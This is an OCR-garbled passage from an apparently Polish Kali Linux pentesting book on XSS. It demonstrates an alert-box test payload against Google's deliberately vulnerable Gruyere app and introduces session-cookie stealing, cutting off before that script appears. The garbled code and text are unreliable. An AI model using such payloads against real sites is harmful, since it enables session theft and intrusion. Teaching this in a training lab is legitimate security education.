Ataki typu XSS (cross-site scripting) Cross-site .scripting (XSS) to luka w zabezpieczeniach wielu aplikacji internetowych, pozwalająca napastnikowi na wstrzykiwanie własnych skryptów na stronę internetową. Takie skrypty mogą być następnie wykorzystywane do modyfikacji ustawień serwera W W W czy sesji klientów podłączających się do serwera. Luki umożliwiające przeprowadzenie ataku typu cross-site scripting są odpowiedzialne za ogromną większość udanych włamań na serwery aplikacji internetowych. Bardzo często spotykali śmy się z sytuacją, kiedy do naszego zespołu zgłaszał się klient proszący o przeprowadzenie ekspertyzy powłamaniowej serwera i po je j zakończeniu okazywało się, że włamanie było re zultatem istnienia luki pozwalającej na przeprowadzenie ataku XSS. Ataki oparte na cross-site scripting są wykorzystywane przez napastników do nieautoryzowanego modyfikowania stron internetowych, dystrybucji złośliwego oprogramowania czy wykradania cennych i poufnych informacji, takich jak numery kart kredytowych lub dane osobowe. Jedna z metod pozwalających na ocenę, czy dana aplikacja internetowa jest podatna na atak X SS, polega na sprawdzaniu podatności poszczególnych pól zamieszczonych na stronie, słu żących do wprowadzania danych, np. do wpisywania poszukiwanego ciągu znaków. Takiego sprawdzenia możemy dokonać za pomocą prostego skryptu przedstawionego poniżej: C H A O S ale rt('www.DrChaos.com, )< / s c rip t >
223
K a li L in u x . T e s ty p e n e tra c y jn e
Teoretycznie mógłbyś wykorzystać ten przykład do testowania każdej strony internetow ej, aczkolwiek nie zalecamy takiego postępowania, gdyż bardzo szybko mogłoby ono zostać wy kryte przez właściciela strony. Jeżeli jednak zdecydujesz się na zastosowanie takiego skryptu do testowania podatności na ataki XSS, upewnij się, że użyjesz innej strony internetowej niż www.DrChaos.com, przedstawionej w naszym przykładzie.
Testowanie podatności na ataki XSS Firma Google uruchomiła projekt o nazwie G ruyere, którego przeznaczeniem jest testowanie luk w zabezpieczeniach aplikacji internetowych i prezentowanie sposobów obrony przed ata kami. Strona projektu została wyposażona w kilka specjalnie przygotowanych podatności, włącznie z osławionym XSS. Z zasobów projektu Gruyere możesz korzystać online; możesz także pobrać program na dysk i używać go na komputerze lokalnym.
A pplication Exploits and D e fe n ses
Po zalogowaniu się do swojej własnej instancji projektu Gruyere skopiowaliśmy nasz miniskrypt do pola, w którym normalnie należało podać nazwę konta użytkownika, i kliknęliśmy przycisk Submit. Na rysunku przedstawionym poniżej pokazujemy wygląd głównej strony projektu z informacjami wyświetlonymi przez skrypt CHAOS. W polu nazwy konta wpisaliśmy następujący ciąg znaków: CHAO Salert(’www.DrChaos.com’ )< /scr1 p t>
Horrfl i M i Snppils i NcwSriLFfla!3upbid
Gdy skrypt X SS się wykonał, w polu nazwy konta użytkownika zauważyliśmy, że część kodu wyświetliła się na głównej stronie projektu. W tym momencie mogliśmy już generować okno z alertem za każdym razem, kiedy nazwa użytkownika pojawiała się na stronie.
wwwOfChaos.com
W
224
R o z d z ia ł 5. • A ta k i na m e to d y u w ie rzy te ln ia n ia
|
Techniki XSS cookie stealing i Authentication hijacking Amatorzy i script kid d ies mogą się bawić w wykorzystywanie ataków XSS do generowania okienek na atakowanych stronach, ale przecież dla profesjonalnego pentestera prawdziwą wartość mają techniki X SS pozwalające na uzyskanie nieautoryzowanego dostępu do atako wanego systemu. W kolejnym podrozdziale pokażemy, jak możesz tego dokonać. Jeżeli do tej pory tego nie zrobiłeś, to powinieneś teraz utworzyć swoją własną, sieciową instancję projektu Gruyere, co pozwoli Ci na samodzielne przetestowanie zagadnień omawianych w kolejnym podrozdziale. Uruchom przeglądarkę i przejdź na stronę http://google-gru yere.appspot.com /start. Silnik projektu uruchomi dla Ciebie nową instancję projektu, przydzieli Ci unikatowy identyfikator i przeniesie Cię na stronę http://google-gru yere.appspot.com /12345/ (gdzie 12345 to Twój uni katowy identyfikator projektu). Każda instancja projektu Gruyere jest całkowicie odizolowana od innych instancji, dzięki czemu Twoja kopia nie będzie w żaden sposób miała wpływu na instancje innych użytkowni ków ani nie będzie przez nie atakowana. Pamiętaj, że w kolejnych przykładach zamiast iden tyfikatora 12345 będziesz musiał używać swojego ID projektu. Gdybyś chciał podzielić się z kimś swoimi dokonaniami w projekcie Gruyere (na przykład pokazać komuś pomyślnie przeprowadzony atak), wystarczy, że po prostu wyślesz danej oso bie pełny adres U R L projektu (wraz z Twoim unikatowym identyfikatorem).
Pamiętaj, aby dla konta projektu Gruyere nie używać żadnego hasła, którego używasz w innych, rzeczywi stych usługach internetowych.
Przyjrzyjmy się teraz przykładowi pokazującemu, w jaki sposób można wykorzystać podatność XSS do wykradnięcia ciasteczka sesji. Jeżeli będziesz chciał przeprowadzić taki eksperyment w swojej sieci lokalnej, Twój komputer z systemem Kali Linux i podatny serwer W W W będą musiały m ieć możliwość wzajemnej komunikacji. Ponieważ używamy projektu Gruyere, mu simy podłączyć komputer z systemem Kali Linux bezpośrednio do internetu i nadać temu komputerowi publiczny adres IP dzięki czemu Kali Linux będzie mógł poprawnie komunikować się z serwerem projektu Gruyere.
W normalnej sytuacji nadawanie komputerowi z systemem Kali Linux publicznego adresu IP nie jest dobrym rozwiązaniem. Zdecydowanie się na taki krok może oznaczać otwarcie pewnych portów komunikacyjnych w zaporze sieciowej i wystawienie systemu Kali Linux na ataki z zewnątrz.
225
K a li L in u x . T e s ty p e n e tra c y jn e
Kiedy logujesz się do projektu Gruyere, możesz utworzyć swoje własne konto, klikając przycisk Sign up, znajdujący się w prawym górnym rogu ekranu, jak przedstawiono na rysunku poniżej:
Na potrzeby naszego przykładu utworzyliśmy dwa osobne konta. Zalogujemy się teraz na pierw sze konto, o nazwie T heD ude. Następnie klikamy przycisk N ew Snippet i tworzymy pierwszy fragment kodu. W polu A dd a new .snippet wpisujemy skrypt XSS, przedstawiony na kolejnym rysunku.
A dd a new sntppet.
Lim ited H TM L i$ now sup p orted in sn ip p e ts (e.g., , <:> etc.)!
S u b m it --------------
Wiemy, że w projekcie Gruyere są specjalnie zaimplementowane podatności, stąd nasza decyzja o użyciu skryptu. W realnym świecie moglibyśmy użyć takiego samego skryptu w dowolnym polu strony internetowej, aby sprawdzić, czy jest podatna na ataki XSS. Gdybyśmy na przy kład wiedzieli, że w serwisie Facebook pole, w którym podajemy drugie imię, je st podatne na ataki X SS, to można by to wykorzystać, umieszczając w tym polu podczas tworzenia profilu odpowiedni skrypt.
Facebook nie jest podatny na takie ataki
226
podaliśmy tutaj tylko hipotetyczny przykład.
R o z d z ia ł 5. • A ta k i na m e to d y u w ie rzy te ln ia n ia
fl
W polu A dd a n ew sn ippet wpisujemy następujący skrypt:
